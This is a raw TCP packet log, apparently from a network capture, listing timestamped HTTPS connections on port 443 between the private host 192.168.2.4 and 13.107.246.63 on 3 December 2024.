Dec 3, 2024 10:06:32.751863003 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.751877069 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.182661057 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.183130026 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.183156967 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.183561087 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.183566093 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.232583046 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.240358114 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.240377903 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.240799904 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.240803957 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.386827946 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.390842915 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.390861034 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.391207933 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.391212940 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.466728926 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.470910072 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.470928907 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.471246004 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.471251965 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.522047043 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.524262905 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.524282932 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.524574041 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.524585009 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.643672943 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.643693924 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.643745899 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.643754959 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.643790007 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.653476954 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.653491974 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.653520107 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.653525114 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.688514948 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.688601017 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.688838959 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.696238041 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.696260929 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.696290970 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.696295977 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.700885057 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.700927019 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.700990915 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.701844931 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.701875925 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.701992035 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.702004910 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.702022076 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.702081919 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.702100992 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.831389904 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.831449032 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.831499100 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.836714983 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.836724043 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.836733103 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.836735964 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.854156017 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.854192972 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.854270935 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.854398012 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.854413986 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.906913996 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.906944036 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.907041073 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.907054901 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.907099009 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.911685944 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.911736012 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.911783934 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.931755066 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.931765079 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.931773901 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.931778908 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.945022106 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.945061922 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.945164919 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.945677042 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.945697069 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.974103928 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.974121094 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.974176884 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.974193096 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.974687099 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.974701881 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.974710941 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.974824905 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.974854946 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.974895954 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.980993986 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.981008053 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:34.981106997 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.981254101 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:34.981265068 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.485542059 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.486905098 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.486926079 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.487371922 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.487376928 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.549808979 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.550776005 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.550790071 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.551073074 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.551079035 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.633750916 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.634325027 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.634340048 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.634895086 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.634901047 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.725145102 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.726715088 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.726749897 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.727108955 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.727116108 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.825476885 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.826069117 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.826077938 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.826442003 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.826446056 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.934901953 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.934921026 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.935091972 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.935112000 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.935221910 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.935235977 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.935244083 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.935369015 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.935400963 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.935441017 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.937998056 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.938030958 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:36.938101053 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.938239098 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:36.938256025 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.003202915 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.003268003 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.003371954 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.003937960 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.003937960 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.003956079 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.003964901 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.006815910 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.006858110 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.006943941 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.007153988 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.007167101 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.078753948 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.078802109 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.078958035 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.079026937 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.079035997 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.079046965 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.079051018 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.081625938 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.081648111 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.081742048 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.081887960 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.081899881 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.169821978 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.173111916 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.173280954 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.173280954 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.173280954 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.175226927 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.175260067 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.175328016 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.175474882 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.175486088 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.279333115 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.282727003 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.282787085 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.282864094 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.282867908 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.282896996 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.282901049 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.287375927 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.287404060 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.287461996 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.287591934 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.287605047 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:37.475805044 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:37.475819111 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.652745008 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.654809952 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:38.654834032 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.655252934 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:38.655258894 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.787230015 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.787847996 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:38.787878990 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.788311005 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:38.788316011 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.926045895 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.926620007 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:38.926649094 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.926939964 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:38.926944971 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.954777002 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.955173016 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:38.955189943 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:38.955461979 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:38.955467939 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.068654060 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.069070101 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.069084883 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.069396973 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.069400072 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.087825060 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.091167927 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.091217995 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.091398954 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.091413975 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.091423988 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.091428995 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.099365950 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.099414110 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.099481106 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.107647896 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.107670069 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.232491016 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.235547066 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.235600948 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.235635042 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.235651016 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.235660076 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.235663891 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.237916946 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.237947941 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.238022089 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.238145113 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.238158941 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.379724026 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.382536888 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.382601976 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.382780075 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.382795095 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.382803917 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.382808924 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.385056973 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.385077953 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.385152102 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.385277033 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.385288000 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.404443979 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.407577038 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.407633066 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.407665968 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.407675982 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.407684088 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.407687902 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.409456015 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.409477949 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.409548998 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.409645081 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.409658909 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.512958050 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.513081074 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.513137102 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.513326883 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.513339043 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.513346910 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.513356924 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.516047001 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.516078949 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:39.516161919 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.516290903 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:39.516304016 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.009624958 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.010462046 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.010477066 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.010957003 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.010962009 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.085438013 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.085927963 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.085949898 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.086371899 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.086376905 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.230330944 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.230941057 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.230952978 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.231421947 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.231426001 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.254801035 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.255086899 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.255110979 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.255438089 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.255446911 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.368036985 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.368552923 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.368577957 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.369044065 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.369050980 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.462564945 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.466303110 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.466367006 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.466408014 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.466425896 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.466434956 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.466442108 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.469444990 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.469490051 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.469578981 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.469782114 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.469794989 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.538594961 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.541944981 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.541996002 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.542009115 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.542054892 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.542100906 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.542121887 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.542135954 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.542140007 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.545114040 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.545152903 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.545229912 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.545425892 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.545437098 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.684202909 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.687309027 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.687391043 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.687412977 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.687431097 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.687442064 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.687447071 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.690490961 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.690527916 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.690618038 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.690776110 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.690790892 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.708961964 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.712039948 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.712083101 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.712105036 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.712156057 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.712194920 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.712230921 CET	443	49835	13.107.246.63	192.168.2.4
